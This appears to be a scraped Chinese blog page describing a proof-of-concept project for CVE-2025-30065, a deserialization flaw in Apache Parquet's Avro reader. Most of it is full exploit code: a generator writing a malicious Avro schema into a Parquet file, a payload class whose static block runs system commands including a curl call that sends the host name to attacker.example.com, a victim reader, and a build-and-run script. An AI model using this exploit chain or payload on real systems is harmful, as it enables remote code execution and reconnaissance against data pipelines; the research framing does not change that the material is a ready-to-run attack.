2026/4/16 21:46:54
网站建设
项目流程
湖南城市建设网站,二级网站如何一级域名,怎么做网站促收录,国家企业信用公示信息系统(安徽)Apache Parquet CVE-2025-30065 漏洞概念验证
项目标题与描述
这是一个针对Apache Parquet Java库高危反序列化漏洞CVE-2025-30065的概念验证#xff08;PoC#xff09;项目。该项目演示了如何通过精心构造的Avro模式#xff0c;在Parquet文件中嵌入恶意负载#xff0c;从而…Apache Parquet CVE-2025-30065 漏洞概念验证项目标题与描述这是一个针对Apache Parquet Java库高危反序列化漏洞CVE-2025-30065的概念验证PoC项目。该项目演示了如何通过精心构造的Avro模式在Parquet文件中嵌入恶意负载从而在目标系统读取文件时触发任意Java类的实例化。该漏洞的CVSS评分为10.0严重。本工具仅供授权的安全研究和教育目的使用旨在帮助安全研究人员和开发者理解漏洞原理并采取适当的防护措施。⚠️ 免责声明本工具仅用于教育研究和授权测试。严禁用于非法入侵或攻击。使用者需遵守相关法律法规。功能特性漏洞复现完整复现CVE-2025-30065漏洞的利用链从生成恶意文件到触发漏洞。双重负载机制主利用ParquetExploitGenerator使用标准Java类javax.swing.JEditorPane演示逻辑利用。遗留负载类PayloadRecord包含静态代码块展示如何在类加载时执行系统命令如启动计算器或发送网络请求具体行为根据操作系统自适应。自动化构建与执行提供Shell脚本CVE-2025-30065.sh自动化处理Maven依赖解析、代码编译和PoC链的完整执行。模块化设计代码结构清晰分为利用生成器ExploitGenerator、负载PayloadRecord和受害者模拟程序ParquetVictim便于理解和分析。教育导向项目附带详细的漏洞分析、风险说明、防护建议和安全清单是学习反序列化漏洞和Parquet/Avro内部机制的优秀资源。安装指南系统要求Java 8或更高版本Apache Maven用于自动解析和下载项目依赖支持Linux、macOS或Windows通过Shell脚本或手动命令安装步骤克隆或下载项目代码到本地目录。确保Maven已正确安装。可以在终端运行mvn -v来验证。为构建脚本添加执行权限仅限Unix/Linux/macOS系统chmodx CVE-2025-30065.sh运行自动化脚本推荐./CVE-2025-30065.sh该脚本会自动执行以下操作使用Maven解析并下载所需的依赖库如parquet-avro,parquet-hadoop,avro等。编译所有Java源文件。依次运行利用生成器和受害者模拟程序。手动编译与运行可选如果希望分步执行或调试可以参考脚本CVE-2025-30065.sh中的命令序列。使用说明运行自动化脚本./CVE-2025-30065.sh是最简单的使用方式。脚本执行后你将看到如下流程依赖解析脚本使用Maven生成项目的类路径文件(cp.txt)。编译负载首先编译PayloadRecord.java。生成恶意文件编译并运行ParquetExploitGenerator它将在当前目录生成一个名为exploit-jeditorpane.parquet的Parquet文件。该文件包含一个精心构造的Avro模式其default值被设置为实例化javax.swing.JEditorPane类。模拟受害者编译并运行ParquetVictim该程序会读取上一步生成的Parquet文件。在读取记录时由于Avro反序列化逻辑会尝试实例化模式中定义的default值从而触发JEditorPane的实例化。如果使用原始的PayloadRecord负载则可能执行相应的系统命令。核心代码详解1. 恶意Parquet文件生成器 (ParquetExploitGenerator.java)这是漏洞利用的核心。它不依赖自定义类而是利用一个已知在反序列化时会产生副作用如发起网络请求的标准Java类。/** * author Blackash * version 1.3 * license For authorized security research and educational purposes only. * * Generates a Parquet file with a crafted Avro schema to demonstrate CVE-2025-30065, * aligned with the vulnerability logic observed in the official Apache patch. * * This version avoids using custom classes and instead leverages a standard Java class * (javax.swing.JEditorPane) known to exhibit side effects when deserialized. */importorg.apache.avro.Schema;importorg.apache.hadoop.conf.Configuration;importorg.apache.hadoop.fs.Path;importorg.apache.parquet.avro.AvroParquetWriter;importorg.apache.parquet.hadoop.ParquetWriter;importjava.io.IOException;publicclassParquetExploitGenerator{publicstaticvoidmain(String[]args)throwsIOException{StringoutputFileargs.length0?args[0]:exploit-jeditorpane.parquet;// 构造恶意Avro模式。关键点在于trigger字段的类型定义为一个名为javax.swing.JEditorPane的记录// 并设置了default: {}。这会导致在反序列化时Avro尝试实例化这个“记录”// 实际上就是实例化javax.swing.JEditorPane类。StringmaliciousSchema{\type\: \record\,\name\: \ExploitRecord\,\fields\: [ {\name\: \trigger\, \type\: {\type\: \record\, \name\: \javax.swing.JEditorPane\, \fields\: []}, \default\: {} }]};SchemaschemanewSchema.Parser().parse(maliciousSchema);PathpathnewPath(outputFile);ConfigurationconfnewConfiguration();// 使用AvroParquetWriter将模式写入Parquet文件。try(ParquetWriterObjectwriterAvroParquetWriter.builder(path).withSchema(schema).withConf(conf).build()){writer.write(null);// 写入一个空记录模式本身已包含恶意定义。}System.out.println([] Malicious Parquet file generated: outputFile);System.out.println([!] Schema instantiates javax.swing.JEditorPane via default value.);}}2. 可执行命令的负载类 (PayloadRecord.java)这是一个传统的PoC负载展示了如果攻击者能控制类路径可以如何执行任意代码。其静态代码块在类被加载时即会运行。packageexploit;importjava.io.BufferedReader;importjava.io.InputStreamReader;publicclassPayloadRecord{static{// 静态代码块在类首次被加载到JVM时执行。try{StringosSystem.getProperty(os.name).toLowerCase();Stringcmd;// 根据操作系统选择不同的命令实现跨平台利用。if(os.contains(win)){cmdcmd.exe /c start calc;// Windows: 启动计算器}elseif(os.contains(mac)){cmd/System/Applications/Calculator.app/Contents/MacOS/Calculator;// macOS: 启动计算器}else{// Linux/Unix: 发送HTTP请求到攻击者服务器可用于信息探测。cmdcurl http://attacker.example.com/ping?hostjava.net.InetAddress.getLocalHost().getHostName();}// 执行系统命令ProcessprocessRuntime.getRuntime().exec(cmd);try(BufferedReaderreadernewBufferedReader(newInputStreamReader(process.getInputStream()))){Stringline;while((linereader.readLine())!null){System.out.println([Payload Output] line);}}}catch(Exceptione){System.err.println([Payload Error] e.getMessage());e.printStackTrace();}}}3. 受害者模拟程序 (ParquetVictim.java)模拟一个使用了parquet-avro库的普通应用程序它读取并解析Parquet文件从而触发漏洞。packagevictim;importorg.apache.avro.generic.GenericRecord;importorg.apache.parquet.avro.AvroParquetReader;importorg.apache.parquet.hadoop.ParquetReader;importorg.apache.hadoop.conf.Configuration;importorg.apache.hadoop.fs.Path;publicclassParquetVictim{publicstaticvoidmain(String[]args)throwsException{// 读取由ExploitGenerator生成的恶意Parquet文件。PathpathnewPath(exploit.parquet);// 注意此文件名需与实际生成的文件名匹配。ParquetReaderGenericRecordreaderAvroParquetReader.GenericRecordbuilder(path).withConf(newConfiguration()).build();// 读取记录。这一行代码会触发Avro的反序列化过程。// 如果文件中定义的default值对应的类如JEditorPane或PayloadRecord在类路径上// 并且反序列化逻辑允许实例化它那么静态代码块或构造器中的代码将被执行。GenericRecordrecordreader.read();System.out.println(Record loaded: record);// 这行日志输出时漏洞可能已被触发。}}4. 自动化构建与执行脚本 (CVE-2025-30065.sh)此Bash脚本封装了整个PoC的构建和执行流程确保环境一致且易于运行。#!/bin/bashBASE_DIR$(pwd)BUILD_DIR$BASE_DIR/build/classesCP_FILE$BASE_DIR/cp.txtJAR_DEPS# 检查并利用Maven解析项目依赖生成类路径文件(cp.txt)。ifcommand-v mvn/dev/null;thenecho[] Resolving dependencies with Maven...mvn dependency:build-classpath -Dmdep.outputFilecp.txt/dev/nullif[!-f$CP_FILE];thenecho[-] Failed to generate classpath (cp.txt).exit1fiJAR_DEPS$(cat$CP_FILE)elseecho[-] Maven not found. Please install Maven and run again.exit1fi# 创建编译输出目录mkdir-p$BUILD_DIRecho[] Compiling PayloadRecord.java...javac -d$BUILD_DIRPayloadRecord.java||exit1echo[] Compiling ParquetExploitGenerator...javac -cp.:$BUILD_DIR:$JAR_DEPS-d$BUILD_DIRPOC-CVE-2025-30065-ParquetExploitGenerator.java||exit1echo[] Running exploit generator...java -cp.:$BUILD_DIR:$JAR_DEPSPOC-CVE-2025-30065-ParquetExploitGenerator||exit1echo[] Compiling ParquetVictim.java...javac -cp.:$BUILD_DIR:$JAR_DEPS-d$BUILD_DIRParquetVictim.java||exit1echo[] Running victim (payload should trigger)...java -cp.:$BUILD_DIR:$JAR_DEPSParquetVictim6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcANaOlEHDyHndYaTga6WrV6更多精彩内容 请关注我的个人公众号 公众号办公AI智能小助手对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号网络安全技术点滴分享